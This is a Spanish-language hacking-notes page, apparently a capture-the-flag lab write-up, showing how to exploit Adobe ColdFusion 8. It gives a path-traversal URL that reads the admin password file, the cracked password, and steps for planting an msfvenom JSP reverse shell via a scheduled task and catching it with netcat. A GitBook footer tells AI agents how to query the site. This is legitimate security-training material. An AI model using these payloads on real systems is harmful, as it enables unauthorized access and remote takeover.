> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/adobe-coldfusion-8-cms-exploitation.md).

# Adobe ColdFusion 8

Encontramos un servicio de administración de Adobe ColdFusion expuesto en el puerto 8500 que requiere un nombre de usuario y una contraseña.

<figure><img src="/files/7e3765c0e77a38ee9ab9f7f877165edb8f35fded" alt=""><figcaption></figcaption></figure>

Buscando con `searchsploit` se revela un script de explotación para una vulnerabilidad de recorrido de directorios.

<figure><img src="/files/be4516b40fb1d4d05d4d0717755f3520170f20c2" alt=""><figcaption></figcaption></figure>

`searchsploit -x multiple/remote/14641.py`

El script revela una vulnerabilidad LFI que puede leer el archivo que contiene la contraseña:

<figure><img src="/files/efd0b754d6ece175d35a13530553eb68477246d6" alt=""><figcaption></figcaption></figure>

`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`

<figure><img src="/files/7c9e07e38ef9c0137f917207f76606331cf598c3" alt=""><figcaption></figcaption></figure>

El archivo contiene el siguiente valor de contraseña:

`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`

<figure><img src="/files/bb402a1166ea95fbb6545d7f5e3d33c49f691cf1" alt=""><figcaption></figcaption></figure>

### Cracking de contraseñas

{% embed url="<https://crackstation.net/>" %}

Usando CrackStation, desciframos el hash y recuperamos la contraseña `happyday`. Ahora podemos iniciar sesión correctamente.

<figure><img src="/files/bb1421a4363c1eea550f24619db1ab255cb16bbf" alt=""><figcaption></figcaption></figure>

### Creación de una tarea programada maliciosa

<figure><img src="/files/2069e2bac0d4d17314f2df7dbe067a05823cea88" alt=""><figcaption></figcaption></figure>

En la sección de tareas programadas, crea una nueva tarea que escriba un archivo malicioso en `C:/ColdFusion8/wwwroot/CFIDE`, donde la aplicación tiene permisos de lectura/escritura.

<figure><img src="/files/d533f79050b416d837e04064272bc966960f0c96" alt="" width="563"><figcaption></figcaption></figure>

**Creación del archivo JSP:** Como el servidor puede ejecutar archivos JSP, genera un shell inverso JSP con `msfvenom`:

<figure><img src="/files/ecadf46f91a92b98df0b2277f18eb3014f99d2b2" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="/files/56a8bd42bc03710190789a5f335aa0426840a9da" alt=""><figcaption></figcaption></figure>

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```

**Añadiendo una nueva tarea:** Configura la tarea programada para ejecutar el archivo malicioso.

<figure><img src="/files/0f17c249157c650f1d0c641f2e529113cbf9cc44" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c5373e19a672c6c541aa4148bfca42e302eb61c4" alt="" width="563"><figcaption></figcaption></figure>

**Servidor HTTP para transferencia de archivos:** Inicia un servidor HTTP en la máquina atacante para transferir el archivo JSP:

```bash
python3 -m http.server 80
```

<figure><img src="/files/62f06fc7790bdfd7bc934a5bbb4a76360720dedb" alt=""><figcaption></figcaption></figure>

**Configuración del oyente y ejecución del shell:** Inicia un oyente en el puerto 443 para recibir el shell inverso, luego activa la tarea programada desde `/CFIDE/`:

```bash
rlwrap nc -nvlp 443
```

<figure><img src="/files/d20811a98871e6d608fc7a88c42d18fbc82dcee7" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/180a44a373303d7b6b0d804efcd1ed6b2755fa37" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/adobe-coldfusion-8-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
